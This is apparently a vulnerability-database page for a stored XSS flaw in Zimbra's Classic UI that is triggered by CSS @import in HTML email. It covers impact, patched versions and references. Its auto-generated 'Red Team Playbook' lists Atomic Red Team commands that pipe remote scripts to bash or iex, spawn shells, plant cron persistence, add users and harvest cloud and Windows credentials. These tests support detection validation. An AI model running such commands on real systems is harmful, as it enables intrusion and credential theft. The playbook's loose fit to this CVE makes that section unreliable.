CVE-2025-66376
Overview
This vulnerability is a stored Cross-Site Scripting (XSS) flaw affecting the Classic UI component of Zimbra Collaboration Suite (ZCS). The root cause lies in improper sanitization of Cascading Style Sheets (CSS) @import directives embedded within HTML email messages, allowing malicious CSS to be stored and later executed in the user interface. The flaw exists in ZCS versions prior to 10.0.18 and 10.1.13, specifically in the handling of HTML email content rendering.
Vulnerability Description
Zimbra Collaboration (ZCS) 10 before 10.0.18 and 10.1 before 10.1.13 allows Classic UI stored XSS via Cascading Style Sheets (CSS) @import directives in an HTML e-mail message.
Impact
An attacker can execute arbitrary scripts within the context of the victim's Classic UI session by sending a malicious HTML email containing crafted CSS @import directives. This does not require authentication or user interaction beyond viewing the email. Exploitation can lead to theft of session tokens, unauthorized actions within the web interface, or further client-side attacks, potentially resulting in data exposure or account compromise. The vulnerability enables persistent client-side code execution within the affected Zimbra UI environment, impacting confidentiality and integrity of user sessions.
Solution
Zimbra recommends upgrading affected installations to version 10.0.18 or later for the 10.0 branch, and 10.1.13 or later for the 10.1 branch, as detailed in their Security Advisories available at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories and https://wiki.zimbra.com/wiki/Security_Center. Administrators should consult these vendor advisories for precise patching instructions. No specific workarounds are documented; applying the vendor-released patches is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Zimbra Collaboration Suite (ZCS) is a stored cross-site scripting (XSS) flaw that arises from improper handling of Cascading Style Sheets (CSS) @import directives within HTML email messages. This weakness allows an attacker to inject malicious scripts that can be executed in the context of a user's browser when they view the compromised email. The exploitation of this vulnerability is particularly concerning because it leverages a common feature of email clients, where users often trust the content they receive. The affected versions of ZCS, specifically those prior to 10.0.18 and 10.1.13, are susceptible to this type of attack, which can lead to unauthorized actions being performed on behalf of the user.
Attack vectors for this vulnerability primarily involve crafting a malicious email that includes specially designed CSS @import statements. When a user opens this email in the Classic UI of ZCS, the browser interprets the CSS and executes the embedded script. This can lead to various malicious outcomes, such as session hijacking, data theft, or the execution of unauthorized commands. An attacker could also utilize social engineering techniques to increase the likelihood of a user interacting with the malicious email, thereby amplifying the potential for exploitation. The simplicity of this attack vector makes it accessible even to less sophisticated attackers, raising the overall risk profile for organizations using the affected versions of ZCS.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Zimbra for communication and collaboration. Successful exploitation could lead to the compromise of sensitive information, including user credentials, personal data, or proprietary business information. Additionally, the ability to execute scripts in the context of a user's session could allow attackers to manipulate the user’s interactions with the application, potentially leading to further breaches or the spread of malware within the organization. The business risks associated with such an incident include reputational damage, loss of customer trust, regulatory penalties, and financial losses stemming from remediation efforts and potential legal liabilities.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patch management are crucial, as upgrading to the latest versions of ZCS will eliminate the vulnerability. Additionally, organizations should employ email filtering solutions that can detect and block malicious content before it reaches users' inboxes. User education is also vital; training employees to recognize suspicious emails and avoid clicking on unknown links can significantly reduce the risk of successful exploitation. Furthermore, implementing Content Security Policies (CSP) can help restrict the execution of unauthorized scripts, providing an additional layer of defense against XSS attacks.
In conclusion, the stored XSS vulnerability in Zimbra Collaboration Suite represents a serious threat to organizations that utilize this platform for their communication needs. The ease of exploitation, combined with the potential for significant impact, underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely updates, and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with such vulnerabilities.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-66376 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Security_Center |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.13#Security_Fixes |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.18#Security_Fixes |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-66376 |